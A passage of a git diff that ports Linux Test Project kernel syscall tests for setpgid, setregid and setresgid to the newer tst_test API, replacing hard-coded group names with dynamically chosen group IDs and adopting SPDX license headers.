- * 	       or premature exit.
- */
-void cleanup(void)
-{
-
-}
+};
diff --git a/testcases/kernel/syscalls/setpgid/setpgid03.c b/testcases/kernel/syscalls/setpgid/setpgid03.c
index 51e0eeb..79ca23e 100644
--- a/testcases/kernel/syscalls/setpgid/setpgid03.c
+++ b/testcases/kernel/syscalls/setpgid/setpgid03.c
@@ -1,163 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-/*
- * Test to check the error and trivial conditions in setpgid system call
+/*\
+ * [Description]
  *
- * EPERM   -  The calling process, process specified by pid and the target
- *            process group must be in the same session.
+ * Tests setpgid() erorrs:
  *
- * EACCESS -  Proccess cannot change process group ID of a child after child
- *            has performed exec()
+ * - EPERM The calling process, process specified by pid and the target
+ *         process group must be in the same session.
+ *
+ * - EACCESS Proccess cannot change process group ID of a child after child
+ *           has performed exec()
  */
 
-#include <sys/wait.h>
-#include <limits.h>
-#include <signal.h>
-#include <errno.h>
-#include <sys/param.h>
-#include <sys/types.h>
-#include <sys/stat.h>
 #include <unistd.h>
-#include "test.h"
+#include <sys/wait.h>
+#include "tst_test.h"
 
 #define TEST_APP "setpgid03_child"
 
-char *TCID = "setpgid03";
-int TST_TOTAL = 1;
-
-static void do_child(void);
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int child_pid;
-	int status;
-	int rval;
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-#ifdef UCLINUX
-	maybe_run_child(&do_child, "");
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/* Child is in new session we are not alowed to change pgid */
-		if ((child_pid = FORK_OR_VFORK()) == -1)
-			tst_brkm(TBROK, cleanup, "fork() failed");
-
-		if (child_pid == 0) {
-#ifdef UCLINUX
-			if (self_exec(av[0], "") < 0)
-				tst_brkm(TBROK, cleanup, "self_exec failed");
-#else
-			do_child();
-#endif
-		}
-
-		TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
-		rval = setpgid(child_pid, getppid());
-		if (rval == -1 && errno == EPERM) {
-			tst_resm(TPASS, "setpgid failed with EPERM");
-		} else {
-			tst_resm(TFAIL,
-				"retval %d, errno %d, expected errno %d",
-				rval, errno, EPERM);
-		}
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-
-		if (wait(&status) < 0)
-			tst_resm(TFAIL | TERRNO, "wait() for child 1 failed");
-
-		if (!(WIFEXITED(status)) || (WEXITSTATUS(status) != 0))
-			tst_resm(TFAIL, "child 1 failed with status %d",
-				WEXITSTATUS(status));
-
-		/* Child after exec() we are no longer allowed to set pgid */
-		if ((child_pid = FORK_OR_VFORK()) == -1)
-			tst_resm(TFAIL, "Fork failed");
-
-		if (child_pid == 0) {
-			if (execlp(TEST_APP, TEST_APP, NULL) < 0)
-				perror("exec failed");
-
-			exit(127);
-		}
-
-		TST_SAFE_CHECKPOINT_WAIT(cleanup, 0);
-		rval = setpgid(child_pid, getppid());
-		if (rval == -1 && errno == EACCES) {
-			tst_resm(TPASS, "setpgid failed with EACCES");
-		} else {
-			tst_resm(TFAIL,
-				"retval %d, errno %d, expected errno %d",
-				rval, errno, EACCES);
-		}
-		TST_SAFE_CHECKPOINT_WAKE(cleanup, 0);
-
-		if (wait(&status) < 0)
-			tst_resm(TFAIL | TERRNO, "wait() for child 2 failed");
-
-		if (!(WIFEXITED(status)) || (WEXITSTATUS(status) != 0))
-			tst_resm(TFAIL, "child 2 failed with status %d",
-				WEXITSTATUS(status));
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void do_child(void)
 {
-	if (setsid() < 0) {
-		printf("CHILD: setsid() failed, errno: %d\n", errno);
-		exit(2);
+	SAFE_SETSID();
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+}
+
+static void run(void)
+{
+	pid_t child_pid;
+
+	child_pid = SAFE_FORK();
+	if (!child_pid) {
+		do_child();
+		return;
 	}
 
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
+	TST_CHECKPOINT_WAIT(0);
 
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	TST_EXP_FAIL(setpgid(child_pid, getppid()), EPERM);
 
-	exit(0);
+	TST_CHECKPOINT_WAKE(0);
+
+	/* child after exec() we are no longer allowed to set pgid */
+	child_pid = SAFE_FORK();
+	if (!child_pid)
+		SAFE_EXECLP(TEST_APP, TEST_APP, NULL);
+
+	TST_CHECKPOINT_WAIT(0);
+
+	TST_EXP_FAIL(setpgid(child_pid, getppid()), EACCES);
+
+	TST_CHECKPOINT_WAKE(0);
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	tst_tmpdir();
-
-	TST_CHECKPOINT_INIT(tst_rmdir);
-
-	umask(0);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+};
diff --git a/testcases/kernel/syscalls/setpgid/setpgid03_child.c b/testcases/kernel/syscalls/setpgid/setpgid03_child.c
index 2657422..fdb22f2 100644
--- a/testcases/kernel/syscalls/setpgid/setpgid03_child.c
+++ b/testcases/kernel/syscalls/setpgid/setpgid03_child.c
@@ -1,32 +1,16 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2013 Oracle and/or its affiliates. All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License as
- * published by the Free Software Foundation; either version 2 of
- * the License, or (at your option) any later version.
- *
- * This program is distributed in the hope that it would be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write the Free Software Foundation,
- * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+ * Copyright (C) 2021 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
  */
 
-#include "test.h"
-
-char *TCID = "setpgid03_child";
-
+#define TST_NO_DEFAULT_MAIN
+#include "tst_test.h"
 
 int main(void)
 {
-	TST_CHECKPOINT_INIT(NULL);
-
-	TST_SAFE_CHECKPOINT_WAKE(NULL, 0);
-	TST_SAFE_CHECKPOINT_WAIT(NULL, 0);
+	tst_reinit();
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
 
 	return 0;
 }
diff --git a/testcases/kernel/syscalls/setregid/setregid02.c b/testcases/kernel/syscalls/setregid/setregid02.c
index 310eb3a..0210f48 100644
--- a/testcases/kernel/syscalls/setregid/setregid02.c
+++ b/testcases/kernel/syscalls/setregid/setregid02.c
@@ -17,14 +17,13 @@
 #include <stdlib.h>
 
 #include "tst_test.h"
+#include "tst_uid.h"
 #include "compat_tst_16.h"
 
-static gid_t neg_one = -1;
+static gid_t root_gid, nobody_gid, other_gid, neg_one = -1;
 
 static struct passwd *ltpuser;
 
-static struct group ltpgroup, root, bin;
-
 /*
  * The following structure contains all test data.  Each structure in the array
  * is used for a separate test.  The tests are executed in the for loop below.
@@ -34,50 +33,32 @@
 	gid_t *real_gid;
 	gid_t *eff_gid;
 	int exp_errno;
-	struct group *exp_real_usr;
-	struct group *exp_eff_usr;
+	gid_t *exp_real_usr;
+	gid_t *exp_eff_usr;
 	char *test_msg;
 } tcases[] = {
 	{
-	&neg_one, &root.gr_gid, EPERM, &ltpgroup, &ltpgroup,
+	&neg_one, &root_gid, EPERM, &nobody_gid, &nobody_gid,
 		    "After setregid(-1, root),"}, {
-	&neg_one, &bin.gr_gid, EPERM, &ltpgroup, &ltpgroup,
-		    "After setregid(-1, bin)"}, {
-	&root.gr_gid, &neg_one, EPERM, &ltpgroup, &ltpgroup,
+	&neg_one, &other_gid, EPERM, &nobody_gid, &nobody_gid,
+		    "After setregid(-1, other)"}, {
+	&root_gid, &neg_one, EPERM, &nobody_gid, &nobody_gid,
 		    "After setregid(root,-1),"}, {
-	&bin.gr_gid, &neg_one, EPERM, &ltpgroup, &ltpgroup,
-		    "After setregid(bin, -1),"}, {
-	&root.gr_gid, &bin.gr_gid, EPERM, &ltpgroup, &ltpgroup,
-		    "After setregid(root, bin)"}, {
-	&bin.gr_gid, &root.gr_gid, EPERM, &ltpgroup, &ltpgroup,
-		    "After setregid(bin, root),"}
+	&other_gid, &neg_one, EPERM, &nobody_gid, &nobody_gid,
+		    "After setregid(other, -1),"}, {
+	&root_gid, &other_gid, EPERM, &nobody_gid, &nobody_gid,
+		    "After setregid(root, other)"}, {
+	&other_gid, &root_gid, EPERM, &nobody_gid, &nobody_gid,
+		    "After setregid(other, root),"}
 };
 
-static struct group get_group_by_name(const char *name)
+void gid_verify(gid_t rg, gid_t eg, char *when)
 {
-	struct group *ret = SAFE_GETGRNAM(name);
-
-	GID16_CHECK(ret->gr_gid, setregid);
-
-	return *ret;
-}
-
-static struct group get_group_by_gid(gid_t gid)
-{
-	struct group *ret = SAFE_GETGRGID(gid);
-
-	GID16_CHECK(ret->gr_gid, setregid);
-
-	return *ret;
-}
-
-void gid_verify(struct group *rg, struct group *eg, char *when)
-{
-	if ((getgid() != rg->gr_gid) || (getegid() != eg->gr_gid)) {
+	if ((getgid() != rg) || (getegid() != eg)) {
 		tst_res(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
 			 when, getgid(), getegid());
 		tst_res(TINFO, "Expected: real gid = %d; effective gid = %d",
-			 rg->gr_gid, eg->gr_gid);
+			 rg, eg);
 		return;
 	}
 
@@ -107,19 +88,25 @@
 			"setregid(%d, %d) did not fail (ret: %ld) as expected (ret: -1).",
 			*tc->real_gid, *tc->eff_gid, TST_RET);
 	}
-	gid_verify(tc->exp_real_usr, tc->exp_eff_usr, tc->test_msg);
+	gid_verify(*tc->exp_real_usr, *tc->exp_eff_usr, tc->test_msg);
 }
 
 static void setup(void)
 {
+	gid_t test_groups[3];
+
 	ltpuser = SAFE_GETPWNAM("nobody");
+	nobody_gid = test_groups[0] = ltpuser->pw_gid;
+	root_gid = test_groups[1] = getgid();
+	tst_get_gids(test_groups, 2, 3);
+	other_gid = test_groups[2];
+
+	GID16_CHECK(root_gid, setregid);
+	GID16_CHECK(nobody_gid, setregid);
+	GID16_CHECK(other_gid, setregid);
 
 	SAFE_SETGID(ltpuser->pw_gid);
 	SAFE_SETUID(ltpuser->pw_uid);
-
-	root = get_group_by_name("root");
-	ltpgroup = get_group_by_gid(ltpuser->pw_gid);
-	bin = get_group_by_name("bin");
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/setregid/setregid03.c b/testcases/kernel/syscalls/setregid/setregid03.c
index e25a7ec..467bc3b 100644
--- a/testcases/kernel/syscalls/setregid/setregid03.c
+++ b/testcases/kernel/syscalls/setregid/setregid03.c
@@ -12,77 +12,61 @@
 #include <pwd.h>
 
 #include "tst_test.h"
+#include "tst_uid.h"
 #include "compat_tst_16.h"
 
 static int fail = -1;
 static int pass;
-static gid_t neg_one = -1;
-
-struct group nobody_gr, daemon_gr, root_gr, bin_gr;
-struct passwd nobody;
+static gid_t primary_gid, secondary_gid, neg_one = -1;
 
 struct tcase {
 	gid_t *real_gid;
 	gid_t *eff_gid;
 	int *exp_ret;
-	struct group *exp_real_usr;
-	struct group *exp_eff_usr;
+	gid_t *exp_real_usr;
+	gid_t *exp_eff_usr;
 	char *test_msg;
 } tcases[] = {
 	{
-	&daemon_gr.gr_gid, &bin_gr.gr_gid, &pass, &daemon_gr, &bin_gr,
-		    "After setregid(daemon, bin),"}, {
-	&neg_one, &daemon_gr.gr_gid, &pass, &daemon_gr, &daemon_gr,
-		    "After setregid(-1, daemon)"}, {
-	&neg_one, &bin_gr.gr_gid, &pass, &daemon_gr, &bin_gr,
-		    "After setregid(-1, bin),"}, {
-	&bin_gr.gr_gid, &neg_one, &pass, &bin_gr, &bin_gr,
-		    "After setregid(bin, -1),"}, {
-	&neg_one, &neg_one, &pass, &bin_gr, &bin_gr,
+	&primary_gid, &secondary_gid, &pass, &primary_gid, &secondary_gid,
+		    "After setregid(primary, secondary),"}, {
+	&neg_one, &primary_gid, &pass, &primary_gid, &primary_gid,
+		    "After setregid(-1, primary)"}, {
+	&neg_one, &secondary_gid, &pass, &primary_gid, &secondary_gid,
+		    "After setregid(-1, secondary),"}, {
+	&secondary_gid, &neg_one, &pass, &secondary_gid, &secondary_gid,
+		    "After setregid(secondary, -1),"}, {
+	&neg_one, &neg_one, &pass, &secondary_gid, &secondary_gid,
 		    "After setregid(-1, -1),"}, {
-	&neg_one, &bin_gr.gr_gid, &pass, &bin_gr, &bin_gr,
-		    "After setregid(-1, bin),"}, {
-	&bin_gr.gr_gid, &neg_one, &pass, &bin_gr, &bin_gr,
-		    "After setregid(bin, -1),"}, {
-	&bin_gr.gr_gid, &bin_gr.gr_gid, &pass, &bin_gr, &bin_gr,
-		    "After setregid(bin, bin),"}, {
-	&daemon_gr.gr_gid, &neg_one, &fail, &bin_gr, &bin_gr,
-		    "After setregid(daemon, -1)"}, {
-	&neg_one, &daemon_gr.gr_gid, &fail, &bin_gr, &bin_gr,
-		    "After setregid(-1, daemon)"}, {
-	&daemon_gr.gr_gid, &daemon_gr.gr_gid, &fail, &bin_gr, &bin_gr,
-		    "After setregid(daemon, daemon)"},};
-
-
-static struct group get_group_fallback(const char *gr1, const char *gr2)
-{
-	struct group *junk;
-
-	junk = SAFE_GETGRNAM_FALLBACK(gr1, gr2);
-	GID16_CHECK(junk->gr_gid, setregid);
-	return *junk;
-}
-
-static struct group get_group(const char *group)
-{
-	struct group *junk;
-
-	junk = SAFE_GETGRNAM(group);
-	GID16_CHECK(junk->gr_gid, setregid);
-	return *junk;
-}
+	&neg_one, &secondary_gid, &pass, &secondary_gid, &secondary_gid,
+		    "After setregid(-1, secondary),"}, {
+	&secondary_gid, &neg_one, &pass, &secondary_gid, &secondary_gid,
+		    "After setregid(secondary, -1),"}, {
+	&secondary_gid, &secondary_gid, &pass, &secondary_gid, &secondary_gid,
+		    "After setregid(secondary, secondary),"}, {
+	&primary_gid, &neg_one, &fail, &secondary_gid, &secondary_gid,
+		    "After setregid(primary, -1)"}, {
+	&neg_one, &primary_gid, &fail, &secondary_gid, &secondary_gid,
+		    "After setregid(-1, primary)"}, {
+	&primary_gid, &primary_gid, &fail, &secondary_gid, &secondary_gid,
+		    "After setregid(primary, primary)"},};
 
 static void setup(void)
 {
-	nobody = *SAFE_GETPWNAM("nobody");
+	struct passwd *nobody;
+	gid_t test_groups[2];
 
-	nobody_gr = get_group_fallback("nobody", "nogroup");
-	daemon_gr = get_group("daemon");
-	bin_gr = get_group("bin");
+	nobody = SAFE_GETPWNAM("nobody");
+
+	tst_get_gids(test_groups, 0, 2);
+	primary_gid = test_groups[0];
+	secondary_gid = test_groups[1];
+	GID16_CHECK(primary_gid, setregid);
+	GID16_CHECK(secondary_gid, setregid);
 
 	/* set the appropriate ownership values */
-	SAFE_SETREGID(daemon_gr.gr_gid, bin_gr.gr_gid);
-	SAFE_SETEUID(nobody.pw_uid);
+	SAFE_SETREGID(primary_gid, secondary_gid);
+	SAFE_SETEUID(nobody->pw_uid);
 }
 
 static void test_success(struct tcase *tc)
@@ -109,13 +93,13 @@
 			*tc->real_gid, *tc->eff_gid);
 }
 
-static void gid_verify(struct group *rg, struct group *eg, char *when)
+static void gid_verify(gid_t rg, gid_t eg, char *when)
 {
-	if ((getgid() != rg->gr_gid) || (getegid() != eg->gr_gid)) {
+	if ((getgid() != rg) || (getegid() != eg)) {
 		tst_res(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
 			 when, getgid(), getegid());
 		tst_res(TINFO, "Expected: real gid = %d; effective gid = %d",
-			 rg->gr_gid, eg->gr_gid);
+			 rg, eg);
 	} else {
 		tst_res(TPASS,
 			"real or effective gid was modified as expected");
@@ -134,7 +118,7 @@
 	else
 		test_failure(tc);
 
-	gid_verify(tc->exp_real_usr, tc->exp_eff_usr, tc->test_msg);
+	gid_verify(*tc->exp_real_usr, *tc->exp_eff_usr, tc->test_msg);
 }
 
 void run_all(void)
diff --git a/testcases/kernel/syscalls/setregid/setregid04.c b/testcases/kernel/syscalls/setregid/setregid04.c
index 9490ae1..dbeb98a 100644
--- a/testcases/kernel/syscalls/setregid/setregid04.c
+++ b/testcases/kernel/syscalls/setregid/setregid04.c
@@ -10,11 +10,10 @@
  */
 
 #include "tst_test.h"
+#include "tst_uid.h"
 #include "compat_tst_16.h"
 
-static gid_t neg_one = -1;
-
-static struct group nobody_gr, daemon_gr, root_gr, bin_gr;
+static gid_t first_gid, second_gid, root_gid, neg_one = -1;
 
 /*
  * The following structure contains all test data.  Each structure in the array
@@ -24,45 +23,44 @@
 struct test_data_t {
 	gid_t *real_gid;
 	gid_t *eff_gid;
-	struct group *exp_real_usr;
-	struct group *exp_eff_usr;
+	gid_t *exp_real_usr;
+	gid_t *exp_eff_usr;
 	const char *test_msg;
 } test_data[] = {
 	{
-	&root_gr.gr_gid, &root_gr.gr_gid, &root_gr, &root_gr,
+	&root_gid, &root_gid, &root_gid, &root_gid,
 		    "After setregid(root, root),"}, {
-	&nobody_gr.gr_gid, &neg_one, &nobody_gr, &root_gr,
-		    "After setregid(nobody, -1)"}, {
-	&root_gr.gr_gid, &neg_one, &root_gr, &root_gr,
+	&first_gid, &neg_one, &first_gid, &root_gid,
+		    "After setregid(first, -1)"}, {
+	&root_gid, &neg_one, &root_gid, &root_gid,
 		    "After setregid(root,-1),"}, {
-	&neg_one, &neg_one, &root_gr, &root_gr,
+	&neg_one, &neg_one, &root_gid, &root_gid,
 		    "After setregid(-1, -1),"}, {
-	&neg_one, &root_gr.gr_gid, &root_gr, &root_gr,
+	&neg_one, &root_gid, &root_gid, &root_gid,
 		    "After setregid(-1, root)"}, {
-	&root_gr.gr_gid, &neg_one, &root_gr, &root_gr,
+	&root_gid, &neg_one, &root_gid, &root_gid,
 		    "After setregid(root, -1),"}, {
-	&daemon_gr.gr_gid, &nobody_gr.gr_gid, &daemon_gr, &nobody_gr,
-		    "After setregid(daemon, nobody)"}, {
-	&neg_one, &neg_one, &daemon_gr, &nobody_gr,
+	&second_gid, &first_gid, &second_gid, &first_gid,
+		    "After setregid(second, first)"}, {
+	&neg_one, &neg_one, &second_gid, &first_gid,
 		    "After setregid(-1, -1)"}, {
-	&neg_one, &nobody_gr.gr_gid, &daemon_gr, &nobody_gr,
-		    "After setregid(-1, nobody)"}
+	&neg_one, &first_gid, &second_gid, &first_gid,
+		    "After setregid(-1, first)"}
 };
 
-static void gid_verify(struct group *rg, struct group *eg, const char *when)
+static void gid_verify(gid_t rg, gid_t eg, const char *when)
 {
-	if ((getgid() != rg->gr_gid) || (getegid() != eg->gr_gid)) {
+	if ((getgid() != rg) || (getegid() != eg)) {
 		tst_res(TFAIL, "ERROR: %s real gid = %d; effective gid = %d",
 			 when, getgid(), getegid());
 		tst_res(TINFO, "Expected: real gid = %d; effective gid = %d",
-			 rg->gr_gid, eg->gr_gid);
+			 rg, eg);
 	} else {
 		tst_res(TPASS,
 			"real or effective gid was modified as expected");
 	}
 }
 
-
 static void run(unsigned int i)
 {
 	/* Set the real or effective group id */
@@ -74,16 +72,18 @@
 		return;
 	}
 
-	gid_verify(test_data[i].exp_real_usr, test_data[i].exp_eff_usr,
+	gid_verify(*test_data[i].exp_real_usr, *test_data[i].exp_eff_usr,
 		   test_data[i].test_msg);
 }
 
 static void setup(void)
 {
-	root_gr = *SAFE_GETGRNAM("root");
-	nobody_gr = *SAFE_GETGRNAM_FALLBACK("nobody", "nogroup");
-	daemon_gr = *SAFE_GETGRNAM("daemon");
-	bin_gr = *SAFE_GETGRNAM("bin");
+	gid_t test_groups[3];
+
+	root_gid = test_groups[0] = getgid();
+	tst_get_gids(test_groups, 1, 3);
+	first_gid = test_groups[1];
+	second_gid = test_groups[2];
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/setresgid/setresgid02.c b/testcases/kernel/syscalls/setresgid/setresgid02.c
index 2c45fc2..2893aa5 100644
--- a/testcases/kernel/syscalls/setresgid/setresgid02.c
+++ b/testcases/kernel/syscalls/setresgid/setresgid02.c
@@ -1,237 +1,90 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
+ *    AUTHOR: Madhu T L <madhu.tarikere@wipro.com>
+ * Copyright (C) 2021 SUSE LLC <mdoucha@suse.cz>
  */
-/**********************************************************
- *
- *    TEST IDENTIFIER   : setresgid02
- *
- *    EXECUTED BY       : root / superuser
- *
- *    TEST TITLE        : Checking functionality of setresgid(2) for
- *			  non-root group id.
- *
- *    TEST CASE TOTAL   : 6
- *
- *    AUTHOR            : Madhu T L <madhu.tarikere@wipro.com>
- *
- *    SIGNALS
- *      Uses SIGUSR1 to pause before test if option set.
- *      (See the parse_opts(3) man page).
- *
- *    DESCRIPTION
- *      Verify that for non-root effective group id,
- *	1. setresgid(2) is successful for setresgid(-1, -1, -1)
- *	2. setresgid(2) is successful for setresgid(-1, -1, bin)
- *	3. setresgid(2) is successful for setresgid(-1, bin, -1)
- *	4. setresgid(2) is successful for setresgid(bin, -1, -1)
- *	5. setresgid(2) is successful for setresgid(root, root, root)
- *	6. setresgid(2) is successful for setresgid(root, nobody, nobody)
- *
- *      Setup:
- *	  Setup signal handling.
- *	  Test caller is superuser
- *	  Check existence of root, bin and nobody user id's
- *	  Pause for SIGUSR1 if option specified.
- *
- *	Test:
- *	 Loop if the proper options are given.
- *	  Execute system call
- *	  Check return value and functionality, if success,
- *		 Issue PASS message
- *	Otherwise,
- *		Issue FAIL message
- *
- *	Cleanup:
- *	  Print errno log and/or timing stats if options given
- *
- * USAGE:  <for command-line>
- *  setresgid02 [-c n] [-e] [-f] [-h] [-i n] [-I x] [-p] [-P x] [-t]
- *		where,  -c n : Run n copies concurrently.
- *			-e   : Turn on errno logging.
- *			-f   : Turn off functional testing
- *			-h   : Show help screen
- *			-i n : Execute test n times.
- *			-I x : Execute test for x seconds.
- *			-p   : Pause for SIGUSR1 before starting
- *			-P x : Pause for x seconds between iterations.
- *			-t   : Turn on syscall timing.
- *
- * CHANGE:  Madhu T L <madhu.tarikere@wipro.com>
- * Date: April 9 2003
- * Replaced setegid() by setresgid() in setup()
- ****************************************************************/
 
-#define _GNU_SOURCE 1
-#include <errno.h>
-#include <pwd.h>
-#include <sys/types.h>
-#include <unistd.h>
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+/*\
+ * [Description]
+ *
+ * Verify that setresgid() will successfully set the expected GID when called
+ * by root with the following combinations of arguments:
+ *
+ * - setresgid(-1, -1, -1)
+ * - setresgid(-1, -1, other)
+ * - setresgid(-1, other, -1)
+ * - setresgid(other, -1, -1)
+ * - setresgid(root, root, root)
+ * - setresgid(root, main, main)
+ */
 
-#define EXP_RET_VAL	0
+#include "tst_test.h"
+#include "tst_uid.h"
+#include "compat_tst_16.h"
 
-struct test_case_t {		/* test case structure */
-	uid_t *rgid;		/* real GID */
-	uid_t *egid;		/* effective GID */
-	uid_t *sgid;		/* saved GID */
-	struct passwd *exp_rgid;	/* Expected real GID */
-	struct passwd *exp_egid;	/* Expected effective GID */
-	struct passwd *exp_sgid;	/* Expected saved GID */
-	char *desc;		/* Test description */
+struct test_case_t {
+	gid_t *rgid;
+	gid_t *egid;
+	gid_t *sgid;
+	gid_t *exp_rgid;
+	gid_t *exp_egid;
+	gid_t *exp_sgid;
+	char *desc;
 };
 
-TCID_DEFINE(setresgid02);
-static int testno;
-static struct passwd nobody, bin, root;
-static uid_t nobody_gid, root_gid, bin_gid, neg = -1;
-
-static int test_functionality(uid_t, uid_t, uid_t);
-static void setup(void);
-static void cleanup(void);
+static gid_t root_gid, main_gid, other_gid, neg = -1;
 
 /* Don't change order of these test cases */
-static struct test_case_t tdat[] = {
-	{&neg, &neg, &neg, &root, &nobody, &nobody,
+static struct test_case_t test_cases[] = {
+	{&neg, &neg, &neg, &root_gid, &main_gid, &main_gid,
 	 "setresgid(-1, -1, -1)"},
-	{&neg, &neg, &bin.pw_gid, &root, &nobody, &bin,
-	 "setresgid(-1, -1, bin)"},
-	{&neg, &bin.pw_gid, &neg, &root, &bin, &bin,
-	 "setresgid(-1, bin, -1)"},
-	{&bin.pw_gid, &neg, &neg, &bin, &bin, &bin,
-	 "setresgid(bin, -1, -1)"},
-	{&root.pw_gid, &root.pw_gid, &root.pw_gid, &root, &root, &root,
+	{&neg, &neg, &other_gid, &root_gid, &main_gid, &other_gid,
+	 "setresgid(-1, -1, other)"},
+	{&neg, &other_gid, &neg, &root_gid, &other_gid, &other_gid,
+	 "setresgid(-1, other, -1)"},
+	{&other_gid, &neg, &neg, &other_gid, &other_gid, &other_gid,
+	 "setresgid(other, -1, -1)"},
+	{&root_gid, &root_gid, &root_gid, &root_gid, &root_gid, &root_gid,
 	 "setresgid(root, root, root)"},
-	{&root.pw_gid, &nobody.pw_gid, &nobody.pw_gid, &root, &nobody, &nobody,
-	 "setresgid(root, nobody, nobody)"},
+	{&root_gid, &main_gid, &main_gid, &root_gid, &main_gid, &main_gid,
+	 "setresgid(root, main, main)"},
 };
 
-int TST_TOTAL = sizeof(tdat) / sizeof(tdat[0]);
-
-int main(int argc, char **argv)
+static void setup(void)
 {
-	int lc;
+	gid_t test_groups[3];
 
-	tst_parse_opts(argc, argv, NULL, NULL);
+	root_gid = test_groups[0] = getgid();
+	tst_get_gids(test_groups, 1, 3);
+	main_gid = test_groups[1];
+	other_gid = test_groups[2];
 
-	setup();
+	GID16_CHECK(root_gid, setresgid);
+	GID16_CHECK(main_gid, setresgid);
+	GID16_CHECK(other_gid, setresgid);
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		for (testno = 0; testno < TST_TOTAL; ++testno) {
-
-			TEST(SETRESGID(cleanup, *tdat[testno].rgid, *tdat[testno].egid,
-				       *tdat[testno].sgid));
-
-			if (TEST_RETURN == EXP_RET_VAL) {
-				if (!test_functionality
-				    (tdat[testno].exp_rgid->pw_gid,
-				     tdat[testno].exp_egid->pw_gid,
-				     tdat[testno].exp_sgid->pw_gid)) {
-
-					tst_resm(TPASS, "Test for %s "
-						 "successful",
-						 tdat[testno].desc);
-				} else {
-					tst_resm(TFAIL, "Functionality test "
-						 "for %s failed",
-						 tdat[testno].desc);
-				}
-			} else {
-				tst_resm(TFAIL, "Test for %s failed; returned"
-					 " %ld (expected %d), errno %d (expected"
-					 " 0)", tdat[testno].desc,
-					 TEST_RETURN, EXP_RET_VAL, TEST_ERRNO);
-			}
-		}
-	}
-	cleanup();
-
-	tst_exit();
+	SAFE_SETRESGID(-1, main_gid, main_gid);
 }
 
-static int test_functionality(uid_t exp_rgid, uid_t exp_egid, uid_t exp_sgid)
+static void run(unsigned int n)
 {
-	uid_t cur_rgid, cur_egid, cur_sgid;
+	const struct test_case_t *tc = test_cases + n;
 
-	/* Get current real, effective and saved group id */
-	SAFE_GETRESGID(cleanup, &cur_rgid, &cur_egid, &cur_sgid);
+	TST_EXP_PASS_SILENT(SETRESGID(*tc->rgid, *tc->egid, *tc->sgid), "%s",
+		tc->desc);
 
-	if ((cur_rgid == exp_rgid) && (cur_egid == exp_egid)
-	    && (cur_sgid == exp_sgid)) {
-		return 0;
-	}
-	return 1;
+	if (!TST_PASS)
+		return;
+
+	if (tst_check_resgid(tc->desc, *tc->exp_rgid, *tc->exp_egid,
+		*tc->exp_sgid))
+		tst_res(TPASS, "%s works as expected", tc->desc);
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-	struct passwd *passwd_p;
-
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	if ((passwd_p = getpwnam("root")) == NULL) {
-		tst_brkm(TBROK, NULL, "getpwnam() failed for root");
-
-	}
-	root = *passwd_p;
-	GID16_CHECK((root_gid = root.pw_gid), "setresgid", cleanup)
-
-	if ((passwd_p = getpwnam("bin")) == NULL) {
-		tst_brkm(TBROK, NULL, "bin user id doesn't exist");
-
-	}
-	bin = *passwd_p;
-	GID16_CHECK((bin_gid = bin.pw_gid), "setresgid", cleanup)
-
-	if ((passwd_p = getpwnam("nobody")) == NULL) {
